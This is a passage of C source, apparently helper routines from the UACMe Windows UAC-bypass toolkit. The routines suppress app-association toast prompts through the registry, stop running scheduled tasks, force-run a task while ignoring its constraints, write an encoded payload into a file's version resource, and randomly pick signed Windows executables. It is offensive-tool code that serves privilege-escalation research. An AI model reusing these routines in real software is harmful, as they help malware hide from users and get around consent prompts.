_strcat(lpValue, TEXT("_"));
|
||
_strcat(lpValue, lpProtocol);
|
||
|
||
dwValue = fEnable;
|
||
|
||
RegSetKeyValue(HKEY_CURRENT_USER,
|
||
T_APP_ASSOC_TOASTS,
|
||
lpValue,
|
||
REG_DWORD,
|
||
(LPCVOID)&dwValue,
|
||
sizeof(DWORD));
|
||
|
||
|
||
supHeapFree(lpValue);
|
||
}
|
||
CoTaskMemFree(lpProgId);
|
||
}
|
||
|
||
progId->lpVtbl->Release(progId);
|
||
}
|
||
|
||
assocHandler->lpVtbl->Release(assocHandler);
|
||
}
|
||
|
||
} while (celtFetched);
|
||
|
||
enumHandlers->lpVtbl->Release(enumHandlers);
|
||
|
||
}
|
||
|
||
/*
|
||
* supWaitForChildProcesses
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Check for child instances of process with given name is running and wait some time.
|
||
*
|
||
*/
|
||
ULONG supWaitForChildProcesses(
|
||
_In_ LPCWSTR lpProcessName,
|
||
_In_ DWORD dwWaitMiliseconds
|
||
)
|
||
{
|
||
BOOL bRetry;
|
||
DWORD dwCreatorPid, dwSessionId, dummy, dwCurrentWait, dwMaxWait = dwWaitMiliseconds;
|
||
PROCESS_BASIC_INFORMATION pbi;
|
||
ULONG nextEntryDelta;
|
||
PVOID processList;
|
||
HANDLE hEnumProcess;
|
||
OBJECT_ATTRIBUTES obja;
|
||
CLIENT_ID cid;
|
||
UNICODE_STRING lookupPsName;
|
||
|
||
union {
|
||
PSYSTEM_PROCESS_INFORMATION Processes;
|
||
PBYTE ListRef;
|
||
} List;
|
||
|
||
dwCreatorPid = HandleToULong(NtCurrentTeb()->ClientId.UniqueProcess);
|
||
dwSessionId = NtCurrentPeb()->SessionId;
|
||
|
||
dwCurrentWait = 0;
|
||
if (dwMaxWait < 1000) dwMaxWait = 1000;
|
||
RtlSecureZeroMemory(&pbi, sizeof(pbi));
|
||
RtlInitUnicodeString(&lookupPsName, lpProcessName);
|
||
InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);
|
||
|
||
do {
|
||
|
||
bRetry = FALSE;
|
||
|
||
processList = supGetSystemInfo(SystemProcessInformation);
|
||
if (processList) {
|
||
|
||
List.ListRef = (PBYTE)processList;
|
||
nextEntryDelta = 0;
|
||
|
||
do {
|
||
|
||
List.ListRef += nextEntryDelta;
|
||
|
||
if (List.Processes->SessionId == dwSessionId &&
|
||
RtlEqualUnicodeString(&lookupPsName,
|
||
&List.Processes->ImageName,
|
||
TRUE))
|
||
{
|
||
|
||
hEnumProcess = NULL;
|
||
cid.UniqueProcess = List.Processes->UniqueProcessId;
|
||
cid.UniqueThread = NULL;
|
||
|
||
if (NT_SUCCESS(NtOpenProcess(
|
||
&hEnumProcess,
|
||
PROCESS_QUERY_LIMITED_INFORMATION,
|
||
&obja,
|
||
&cid)))
|
||
{
|
||
if (NT_SUCCESS(NtQueryInformationProcess(hEnumProcess,
|
||
ProcessBasicInformation,
|
||
&pbi,
|
||
sizeof(pbi),
|
||
&dummy)))
|
||
{
|
||
bRetry = (pbi.InheritedFromUniqueProcessId == dwCreatorPid);
|
||
}
|
||
|
||
NtClose(hEnumProcess);
|
||
}
|
||
|
||
}
|
||
|
||
if (bRetry)
|
||
break;
|
||
|
||
nextEntryDelta = List.Processes->NextEntryDelta;
|
||
|
||
} while (nextEntryDelta);
|
||
|
||
supHeapFree(processList);
|
||
|
||
}
|
||
else
|
||
break;
|
||
|
||
if (bRetry) {
|
||
Sleep(1000);
|
||
dwCurrentWait += 1000;
|
||
}
|
||
else
|
||
break;
|
||
|
||
} while (dwCurrentWait <= dwMaxWait);
|
||
|
||
return dwCurrentWait;
|
||
}
|
||
|
||
/*
|
||
* supRaiseHardError
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Display UACMe hard error.
|
||
*
|
||
*/
|
||
VOID supRaiseHardError(
|
||
_In_ NTSTATUS HardErrorStatus
|
||
)
|
||
{
|
||
ULONG dwFlags;
|
||
HMODULE hModule = NULL;
|
||
WCHAR errorBuffer[1024];
|
||
|
||
UNICODE_STRING usText;
|
||
ULONG_PTR params[] = { (ULONG_PTR)&usText };
|
||
HARDERROR_RESPONSE heResponse;
|
||
|
||
if (HRESULT_FACILITY(HardErrorStatus) == FACILITY_WIN32) {
|
||
dwFlags = FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_FROM_SYSTEM;
|
||
}
|
||
else {
|
||
dwFlags = FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_FROM_HMODULE;
|
||
hModule = GetModuleHandle(RtlNtdllName);
|
||
}
|
||
|
||
errorBuffer[0] = 0;
|
||
|
||
if (FormatMessage(dwFlags,
|
||
hModule,
|
||
HardErrorStatus,
|
||
0,
|
||
errorBuffer,
|
||
RTL_NUMBER_OF(errorBuffer),
|
||
NULL))
|
||
{
|
||
RtlInitUnicodeString(&usText, errorBuffer);
|
||
|
||
NtRaiseHardError(STATUS_FATAL_APP_EXIT | HARDERROR_OVERRIDE_ERRORMODE,
|
||
RTL_NUMBER_OF(params),
|
||
1,
|
||
(PULONG_PTR)params,
|
||
OptionOk,
|
||
(PULONG)&heResponse);
|
||
}
|
||
}
|
||
|
||
/*
|
||
* supGetThreadTokenImpersonationLevel
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Query thread token impersonation level.
|
||
*
|
||
*/
|
||
BOOL supGetThreadTokenImpersonationLevel(
|
||
_In_ HANDLE ThreadHandle,
|
||
_Out_ PSECURITY_IMPERSONATION_LEVEL ImpersonationLevel)
|
||
{
|
||
ULONG dummy;
|
||
HANDLE hToken = NULL;
|
||
SECURITY_IMPERSONATION_LEVEL level = SecurityAnonymous;
|
||
NTSTATUS ntStatus;
|
||
|
||
ntStatus = NtOpenThreadToken(ThreadHandle,
|
||
MAXIMUM_ALLOWED,
|
||
TRUE,
|
||
&hToken);
|
||
|
||
if (NT_SUCCESS(ntStatus)) {
|
||
|
||
ntStatus = NtQueryInformationToken(hToken,
|
||
TokenImpersonationLevel,
|
||
(PVOID)&level,
|
||
sizeof(SECURITY_IMPERSONATION_LEVEL),
|
||
&dummy);
|
||
|
||
NtClose(hToken);
|
||
}
|
||
|
||
*ImpersonationLevel = level;
|
||
return NT_SUCCESS(ntStatus);
|
||
}
|
||
|
||
/*
|
||
* supGetTickCount64
|
||
*
|
||
* Purpose:
|
||
*
|
||
* GetTickCount64 eqv.
|
||
*
|
||
*/
|
||
ULONGLONG supGetTickCount64(
|
||
VOID
|
||
)
|
||
{
|
||
ULARGE_INTEGER tickCount;
|
||
|
||
#ifdef _WIN64
|
||
|
||
tickCount.QuadPart = USER_SHARED_DATA->TickCountQuad;
|
||
|
||
#else
|
||
|
||
while (TRUE)
|
||
{
|
||
tickCount.HighPart = (ULONG)USER_SHARED_DATA->TickCount.High1Time;
|
||
tickCount.LowPart = USER_SHARED_DATA->TickCount.LowPart;
|
||
|
||
if (tickCount.HighPart == (ULONG)USER_SHARED_DATA->TickCount.High2Time)
|
||
break;
|
||
|
||
NtYieldExecution();
|
||
}
|
||
|
||
#endif
|
||
|
||
return (UInt32x32To64(tickCount.LowPart, USER_SHARED_DATA->TickCountMultiplier) >> 24) +
|
||
(UInt32x32To64(tickCount.HighPart, USER_SHARED_DATA->TickCountMultiplier) << 8);
|
||
}
|
||
|
||
/*
|
||
* supxExamineTaskhost
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Find all tasks registered with the host process and stop them.
|
||
*
|
||
*/
|
||
BOOL supxExamineTaskhost(
|
||
_In_ HANDLE UniqueProcessId
|
||
)
|
||
{
|
||
HRESULT hr = E_FAIL;
|
||
ULONG processId;
|
||
LONG i, cTasks = 0;
|
||
VARIANT varDummy, varIndex;
|
||
ITaskService* pService = NULL;
|
||
IRunningTaskCollection* pTasks = NULL;
|
||
IRunningTask* pTask;
|
||
TASK_STATE taskState = TASK_STATE_UNKNOWN;
|
||
|
||
do {
|
||
|
||
hr = CoCreateInstance(&CLSID_TaskScheduler,
|
||
NULL,
|
||
CLSCTX_INPROC_SERVER,
|
||
&IID_ITaskService,
|
||
(void**)&pService);
|
||
|
||
HRESULT_BREAK_ON_FAILED(hr);
|
||
|
||
VariantInit(&varDummy);
|
||
|
||
hr = pService->lpVtbl->Connect(pService,
|
||
varDummy,
|
||
varDummy,
|
||
varDummy,
|
||
varDummy);
|
||
|
||
HRESULT_BREAK_ON_FAILED(hr);
|
||
|
||
hr = pService->lpVtbl->GetRunningTasks(pService,
|
||
TASK_ENUM_HIDDEN,
|
||
&pTasks);
|
||
|
||
HRESULT_BREAK_ON_FAILED(hr);
|
||
|
||
hr = pTasks->lpVtbl->get_Count(pTasks, &cTasks);
|
||
|
||
HRESULT_BREAK_ON_FAILED(hr);
|
||
|
||
varIndex.vt = VT_INT;
|
||
|
||
for (i = 1; i <= cTasks; i++) {
|
||
|
||
varIndex.lVal = i;
|
||
|
||
hr = pTasks->lpVtbl->get_Item(pTasks, varIndex, &pTask);
|
||
if (SUCCEEDED(hr)) {
|
||
|
||
processId = 0;
|
||
hr = pTask->lpVtbl->get_EnginePID(pTask, &processId);
|
||
if (SUCCEEDED(hr) && processId == HandleToUlong(UniqueProcessId)) {
|
||
|
||
hr = pTask->lpVtbl->get_State(pTask, &taskState);
|
||
if (taskState == TASK_STATE_RUNNING) {
|
||
hr = pTask->lpVtbl->Stop(pTask);
|
||
}
|
||
}
|
||
pTask->lpVtbl->Release(pTask);
|
||
}
|
||
}
|
||
|
||
|
||
} while (FALSE);
|
||
|
||
if (pTasks)
|
||
pTasks->lpVtbl->Release(pTasks);
|
||
|
||
if (pService)
|
||
pService->lpVtbl->Release(pService);
|
||
|
||
return SUCCEEDED(hr);
|
||
}
|
||
|
||
/*
|
||
* supEnumTaskhostTasksCallback
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Callback for taskhost task enumeration.
|
||
*
|
||
*/
|
||
BOOL CALLBACK supEnumTaskhostTasksCallback(
|
||
_In_ PSYSTEM_PROCESS_INFORMATION ProcessEntry,
|
||
_In_ PVOID UserContext
|
||
)
|
||
{
|
||
PUNICODE_STRING targetProcess = (PUNICODE_STRING)UserContext;
|
||
|
||
if (!RtlEqualUnicodeString(&ProcessEntry->ImageName, targetProcess, TRUE))
|
||
return FALSE;
|
||
|
||
supxExamineTaskhost(ProcessEntry->UniqueProcessId);
|
||
|
||
return FALSE;
|
||
}
|
||
|
||
/*
|
||
* supStartScheduledTask
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Run target task as schtasks does.
|
||
*
|
||
*/
|
||
BOOLEAN supStartScheduledTask(
|
||
_In_ LPCWSTR lpTaskFolder,
|
||
_In_ LPCWSTR lpTaskName
|
||
)
|
||
{
|
||
HRESULT hr_init, hr = E_FAIL;
|
||
ITaskService* pService = NULL;
|
||
ITaskFolder* pRootFolder = NULL;
|
||
IRegisteredTask* pTask = NULL;
|
||
IRunningTask* pRunningTask = NULL;
|
||
VARIANT var;
|
||
|
||
BSTR bstrTaskFolder = NULL;
|
||
BSTR bstrTask = NULL;
|
||
|
||
hr_init = CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
||
|
||
do {
|
||
|
||
bstrTaskFolder = SysAllocString(lpTaskFolder);
|
||
if (bstrTaskFolder == NULL) {
|
||
break;
|
||
}
|
||
|
||
bstrTask = SysAllocString(lpTaskName);
|
||
if (bstrTask == NULL) {
|
||
break;
|
||
}
|
||
|
||
hr = CoCreateInstance(&CLSID_TaskScheduler,
|
||
NULL,
|
||
CLSCTX_INPROC_SERVER,
|
||
&IID_ITaskService,
|
||
(void**)&pService);
|
||
|
||
if (FAILED(hr)) {
|
||
break;
|
||
}
|
||
|
||
var.vt = VT_NULL;
|
||
|
||
hr = pService->lpVtbl->Connect(pService, var, var, var, var);
|
||
if (FAILED(hr)) {
|
||
break;
|
||
}
|
||
|
||
hr = pService->lpVtbl->GetFolder(pService, bstrTaskFolder, &pRootFolder);
|
||
if (FAILED(hr)) {
|
||
break;
|
||
}
|
||
|
||
hr = pRootFolder->lpVtbl->GetTask(pRootFolder, bstrTask, &pTask);
|
||
if (FAILED(hr)) {
|
||
break;
|
||
}
|
||
|
||
hr = pTask->lpVtbl->RunEx(pTask, var, TASK_RUN_IGNORE_CONSTRAINTS, 0, NULL, &pRunningTask);
|
||
if (FAILED(hr)) {
|
||
break;
|
||
}
|
||
|
||
} while (FALSE);
|
||
|
||
if (bstrTaskFolder)
|
||
SysFreeString(bstrTaskFolder);
|
||
|
||
if (bstrTask)
|
||
SysFreeString(bstrTask);
|
||
|
||
if (pRunningTask) {
|
||
pRunningTask->lpVtbl->Stop(pRunningTask);
|
||
pRunningTask->lpVtbl->Release(pRunningTask);
|
||
}
|
||
|
||
if (pTask)
|
||
pTask->lpVtbl->Release(pTask);
|
||
|
||
if (pRootFolder)
|
||
pRootFolder->lpVtbl->Release(pRootFolder);
|
||
|
||
if (pService)
|
||
pService->lpVtbl->Release(pService);
|
||
|
||
if (SUCCEEDED(hr_init))
|
||
CoUninitialize();
|
||
|
||
return SUCCEEDED(hr);
|
||
}
|
||
|
||
/*
|
||
* supReplaceVersionInfo
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Add a new VERSION_INFO block to the file.
|
||
*
|
||
*/
|
||
BOOLEAN supReplaceVersionInfo(
|
||
_In_ LPCWSTR lpFileName,
|
||
_In_ PBYTE lpResource,
|
||
_In_ DWORD dwResourceSize,
|
||
_In_ DWORD dwKey
|
||
)
|
||
{
|
||
BOOLEAN bResult = TRUE;
|
||
HANDLE hUpdate;
|
||
PVOID pvBuffer;
|
||
SIZE_T bufferSize = ALIGN_UP_BY(dwResourceSize, PAGE_SIZE);
|
||
|
||
do {
|
||
pvBuffer = supVirtualAlloc(&bufferSize, DEFAULT_ALLOCATION_TYPE | MEM_TOP_DOWN, DEFAULT_PROTECT_TYPE, NULL);
|
||
if (pvBuffer == NULL) {
|
||
bResult = FALSE;
|
||
break;
|
||
}
|
||
|
||
RtlCopyMemory(pvBuffer, lpResource, dwResourceSize);
|
||
EncodeBuffer(pvBuffer, dwResourceSize, dwKey);
|
||
|
||
hUpdate = BeginUpdateResource(lpFileName, FALSE);
|
||
if (hUpdate == NULL) {
|
||
bResult = FALSE;
|
||
break;
|
||
}
|
||
|
||
if (!UpdateResource(hUpdate, RT_VERSION, MAKEINTRESOURCEW(1),
|
||
MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US),
|
||
pvBuffer, dwResourceSize))
|
||
{
|
||
EndUpdateResource(hUpdate, TRUE);
|
||
break;
|
||
}
|
||
|
||
EndUpdateResource(hUpdate, FALSE);
|
||
|
||
} while (FALSE);
|
||
|
||
if (pvBuffer)
|
||
supSecureVirtualFree(pvBuffer, bufferSize, NULL);
|
||
|
||
return bResult;
|
||
}
|
||
|
||
/*
|
||
* supEnumPathEnvironmentVariable
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Enumerate environment variables and execute callback on each.
|
||
*
|
||
*/
|
||
BOOLEAN supEnumPathEnvironmentVariable(
|
||
_In_ PSUP_ENUM_PATH_CALLBACK Callback,
|
||
_In_opt_ PVOID Context
|
||
)
|
||
{
|
||
ULONG i;
|
||
LPCWSTR lpPath;
|
||
UNICODE_STRING usPath;
|
||
WCHAR szBuffer[MAX_PATH * 4];
|
||
|
||
if (Callback == NULL)
|
||
return FALSE;
|
||
|
||
RtlInitUnicodeString(&usPath, L"PATH=");
|
||
|
||
lpPath = supQueryEnvironmentVariableOffset(&usPath);
|
||
if (lpPath == NULL || *lpPath == 0)
|
||
return FALSE;
|
||
|
||
do {
|
||
|
||
i = 0;
|
||
|
||
while (*lpPath != 0 && *lpPath != L';') {
|
||
if (i < RTL_NUMBER_OF(szBuffer) - 1)
|
||
szBuffer[i++] = *lpPath;
|
||
|
||
lpPath++;
|
||
}
|
||
|
||
szBuffer[i] = 0;
|
||
|
||
if (i != 0) {
|
||
if (Callback(szBuffer, Context) == FALSE)
|
||
return FALSE;
|
||
}
|
||
|
||
if (*lpPath == 0)
|
||
break;
|
||
|
||
lpPath++;
|
||
|
||
} while (TRUE);
|
||
|
||
return TRUE;
|
||
}
|
||
|
||
/*
|
||
* supxAddExecutableToList
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Insert executable data to the list.
|
||
*
|
||
*/
|
||
BOOLEAN supxAddExecutableToList(
|
||
_Inout_ PSUP_EXECUTABLE_LIST List,
|
||
_In_ LPCWSTR FullPath,
|
||
_In_ LPCWSTR FileName
|
||
)
|
||
{
|
||
SIZE_T cchFullPath;
|
||
SIZE_T cchDirectory;
|
||
PSUP_EXECUTABLE_ENTRY Entry;
|
||
|
||
cchFullPath = _strlen(FullPath);
|
||
|
||
Entry = (PSUP_EXECUTABLE_ENTRY)RtlAllocateHeap(NtCurrentPeb()->ProcessHeap,
|
||
HEAP_ZERO_MEMORY,
|
||
sizeof(SUP_EXECUTABLE_ENTRY));
|
||
|
||
if (Entry == NULL)
|
||
return FALSE;
|
||
|
||
RtlCopyMemory(
|
||
Entry->FullPath,
|
||
FullPath,
|
||
(cchFullPath + 1) * sizeof(WCHAR));
|
||
|
||
//
|
||
// Compute offset to filename portion.
|
||
//
|
||
cchDirectory = cchFullPath - _strlen(FileName);
|
||
Entry->NameOffset = (USHORT)cchDirectory;
|
||
|
||
InsertTailList(
|
||
&List->ListHead,
|
||
&Entry->ListEntry);
|
||
|
||
List->Count++;
|
||
|
||
return TRUE;
|
||
}
|
||
|
||
/*
|
||
* supFreeExecutableList
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Free memory allocated for executable list.
|
||
*
|
||
*/
|
||
VOID supFreeExecutableList(
|
||
_Inout_ PSUP_EXECUTABLE_LIST List
|
||
)
|
||
{
|
||
PLIST_ENTRY Entry;
|
||
PSUP_EXECUTABLE_ENTRY Item;
|
||
|
||
while (!IsListEmpty(&List->ListHead)) {
|
||
Entry = RemoveHeadList(&List->ListHead);
|
||
|
||
Item = CONTAINING_RECORD(
|
||
Entry,
|
||
SUP_EXECUTABLE_ENTRY,
|
||
ListEntry);
|
||
|
||
RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, Item);
|
||
}
|
||
|
||
List->Count = 0;
|
||
}
|
||
|
||
/*
|
||
* supSelectRandomExecutable
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Return pseudo-random value from executables list.
|
||
*
|
||
*/
|
||
PSUP_EXECUTABLE_ENTRY supSelectRandomExecutable(
|
||
_In_ PSUP_EXECUTABLE_LIST List
|
||
)
|
||
{
|
||
ULONG Index;
|
||
ULONG Current;
|
||
PLIST_ENTRY Entry;
|
||
|
||
if (List->Count == 0)
|
||
return NULL;
|
||
|
||
Index = (ULONG)(__rdtsc() % List->Count);
|
||
|
||
Current = 0;
|
||
|
||
Entry = List->ListHead.Flink;
|
||
|
||
while (Entry != &List->ListHead) {
|
||
if (Current == Index) {
|
||
return CONTAINING_RECORD(
|
||
Entry,
|
||
SUP_EXECUTABLE_ENTRY,
|
||
ListEntry);
|
||
}
|
||
|
||
Current++;
|
||
|
||
Entry = Entry->Flink;
|
||
}
|
||
|
||
return NULL;
|
||
}
|
||
|
||
/*
|
||
* supxVerifyFileIsIsOsBinary
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Verify that given file is part of OS.
|
||
*
|
||
*/
|
||
BOOL supxVerifyFileIsIsOsBinary(
|
||
_In_ LPCWSTR FileName
|
||
)
|
||
{
|
||
BOOL bResult = FALSE;
|
||
LONG status;
|
||
HANDLE fileHandle;
|
||
OBJECT_ATTRIBUTES attr;
|
||
UNICODE_STRING usFileName;
|
||
IO_STATUS_BLOCK iosb;
|
||
SIGNATURE_INFO sigInfo;
|
||
|
||
if (RtlDosPathNameToNtPathName_U(FileName, &usFileName, NULL, NULL) == FALSE)
|
||
return FALSE;
|
||
|
||
do {
|
||
|
||
InitializeObjectAttributes(&attr, &usFileName,
|
||
OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||
|
||
RtlSecureZeroMemory(&iosb, sizeof(iosb));
|
||
status = NtCreateFile(&fileHandle, SYNCHRONIZE | FILE_READ_DATA,
|
||
&attr, &iosb, NULL, 0, FILE_SHARE_READ, FILE_OPEN,
|
||
FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
|
||
|
||
if (!NT_SUCCESS(status))
|
||
break;
|
||
|
||
RtlSecureZeroMemory(&sigInfo, sizeof(sigInfo));
|
||
sigInfo.cbSize = sizeof(sigInfo);
|
||
|
||
status = WTGetSignatureInfo(
|
||
(LPWSTR)FileName,
|
||
fileHandle,
|
||
SIF_BASE_VERIFICATION | SIF_CHECK_OS_BINARY | SIF_CATALOG_SIGNED,
|
||
&sigInfo,
|
||
NULL,
|
||
NULL);
|
||
|
||
NtClose(fileHandle);
|
||
|
||
if (status != ERROR_SUCCESS)
|
||
break;
|
||
|
||
if (sigInfo.SignatureState != SIGNATURE_STATE_VALID)
|
||
break;
|
||
|
||
bResult = sigInfo.fOSBinary;
|
||
|
||
} while (FALSE);
|
||
|
||
RtlFreeUnicodeString(&usFileName);
|
||
|
||
return bResult;
|
||
}
|
||
|
||
/*
|
||
* supxEnumMicrosoftExecutablesInRoot
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Enumerate Microsoft executables in the Windows root directory.
|
||
*
|
||
*/
|
||
BOOLEAN supxEnumMicrosoftExecutables(
|
||
_Inout_ PSUP_EXECUTABLE_LIST List
|
||
)
|
||
{
|
||
WCHAR szSearch[MAX_PATH * 2];
|
||
WCHAR szFullPath[MAX_PATH * 2];
|
||
WIN32_FIND_DATAW FindData;
|
||
HANDLE FindHandle;
|
||
|
||
RtlSecureZeroMemory(&szSearch, sizeof(szSearch));
|
||
_strcpy(szSearch, USER_SHARED_DATA->NtSystemRoot);
|
||
supConcatenatePaths(szSearch, L"*.exe", MAX_PATH);
|
||
|
||
FindHandle = FindFirstFile(
|
||
szSearch,
|
||
&FindData);
|
||
|
||
if (FindHandle == INVALID_HANDLE_VALUE) {
|
||
return FALSE;
|
||
}
|
||
|
||
do {
|
||
|
||
if (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
||
continue;
|
||
|
||
_strcpy(szFullPath, USER_SHARED_DATA->NtSystemRoot);
|
||
supConcatenatePaths(szFullPath, FindData.cFileName, MAX_PATH);
|
||
|
||
if (supxVerifyFileIsIsOsBinary(szFullPath)) {
|
||
|
||
supxAddExecutableToList(
|
||
List,
|
||
szFullPath,
|
||
FindData.cFileName);
|
||
|
||
}
|
||
|
||
if (List->Count > 20)
|
||
break;
|
||
|
||
} while (FindNextFile(FindHandle, &FindData));
|
||
|
||
FindClose(FindHandle);
|
||
|
||
return (List->Count != 0);
|
||
}
|
||
|
||
/*
|
||
* supBuildSystemRootExecutableList
|
||
*
|
||
* Purpose:
|
||
*
|
||
* Remember all Microsoft executables from the system root.
|
||
*
|
||
*/
|
||
BOOLEAN supBuildSystemRootExecutableList(
|
||
_Inout_ PSUP_EXECUTABLE_LIST List
|
||
)
|
||
{
|
||
HMODULE hModule;
|
||
WCHAR szPath[MAX_PATH * 2];
|
||
|
||
RtlSecureZeroMemory(szPath, sizeof(szPath));
|
||
_strcpy(szPath, USER_SHARED_DATA->NtSystemRoot);
|
||
supConcatenatePaths(szPath, SYSTEM32_DIR, MAX_PATH);
|
||
supConcatenatePaths(szPath, L"wintrust.dll", MAX_PATH);
|
||
|
||
hModule = LoadLibraryEx(szPath, NULL, 0);
|
||
if (hModule != NULL) {
|
||
WTGetSignatureInfo = (ptrWTGetSignatureInfo)GetProcAddress(hModule, "WTGetSignatureInfo");
|
||
if (WTGetSignatureInfo == NULL)
|
||
return FALSE;
|
||
}
|
||
|
||
InitializeListHead(&List->ListHead);
|
||
List->Count = 0;
|
||
|
||
supxEnumMicrosoftExecutables(List);
|
||
|
||
return (List->Count != 0);
|
||
}
|